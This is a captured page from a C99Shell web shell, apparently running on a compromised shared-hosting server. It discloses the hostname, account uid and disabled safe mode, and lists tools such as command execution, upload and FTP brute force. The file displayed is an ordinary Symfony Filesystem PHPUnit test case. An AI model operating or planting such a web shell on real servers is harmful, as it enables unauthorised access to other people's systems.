!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Filesystem/Symfony/Component/Filesystem/Tests/   drwxr-xr-x
Free 294.15 GB of 429.69 GB (68.46%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     FilesystemTestCase.php (3.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Filesystem\Tests;

class 
FilesystemTestCase extends \PHPUnit_Framework_TestCase
{
    
/**
     * @var string $workspace
     */
    
protected $workspace null;

    protected static 
$symlinkOnWindows null;

    public static function 
setUpBeforeClass()
    {
        if (
defined('PHP_WINDOWS_VERSION_MAJOR')) {
            static::
$symlinkOnWindows true;
            
$originDir tempnam(sys_get_temp_dir(), 'sl');
            
$targetDir tempnam(sys_get_temp_dir(), 'sl');
            if (
true !== @symlink($originDir$targetDir)) {
                
$report error_get_last();
                if (
is_array($report) && false !== strpos($report['message'], 'error code(1314)')) {
                    static::
$symlinkOnWindows false;
                }
            }
        }
    }

    public function 
setUp()
    {
        
$this->workspace rtrim(sys_get_temp_dir(), DIRECTORY_SEPARATOR).DIRECTORY_SEPARATOR.time().rand(01000);
        
mkdir($this->workspace0777true);
        
$this->workspace realpath($this->workspace);
    }

    public function 
tearDown()
    {
        
$this->clean($this->workspace);
    }

    
/**
     * @param string $file
     */
    
protected function clean($file)
    {
        if (
is_dir($file) && !is_link($file)) {
            
$dir = new \FilesystemIterator($file);
            foreach (
$dir as $childFile) {
                
$this->clean($childFile);
            }

            
rmdir($file);
        } else {
            
unlink($file);
        }
    }

    
/**
     * @param int $expectedFilePerms expected file permissions as three digits (i.e. 755)
     * @param string $filePath
     */
    
protected function assertFilePermissions($expectedFilePerms$filePath)
    {
        
$actualFilePerms = (int) substr(sprintf('%o'fileperms($filePath)), -3);
        
$this->assertEquals(
            
$expectedFilePerms,
            
$actualFilePerms,
            
sprintf('File permissions for %s must be %s. Actual %s'$filePath$expectedFilePerms$actualFilePerms)
        );
    }

    protected function 
getFileOwner($filepath)
    {
        
$this->markAsSkippedIfPosixIsMissing();

        
$infos stat($filepath);
        if (
$datas posix_getpwuid($infos['uid'])) {
            return 
$datas['name'];
        }
    }

    protected function 
getFileGroup($filepath)
    {
        
$this->markAsSkippedIfPosixIsMissing();

        
$infos stat($filepath);
        if (
$datas posix_getgrgid($infos['gid'])) {
            return 
$datas['name'];
        }
    }

    protected function 
markAsSkippedIfSymlinkIsMissing()
    {
        if (!
function_exists('symlink')) {
            
$this->markTestSkipped('symlink is not supported');
        }

        if (
defined('PHP_WINDOWS_VERSION_MAJOR') && false === static::$symlinkOnWindows) {
            
$this->markTestSkipped('symlink requires "Create symbolic links" privilege on windows');
        }
    }

    protected function 
markAsSkippedIfChmodIsMissing()
    {
        if (
defined('PHP_WINDOWS_VERSION_MAJOR')) {
            
$this->markTestSkipped('chmod is not supported on windows');
        }
    }

    protected function 
markAsSkippedIfPosixIsMissing()
    {
        if (
defined('PHP_WINDOWS_VERSION_MAJOR') || !function_exists('posix_isatty')) {
            
$this->markTestSkipped('Posix is not supported');
        }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0989 ]--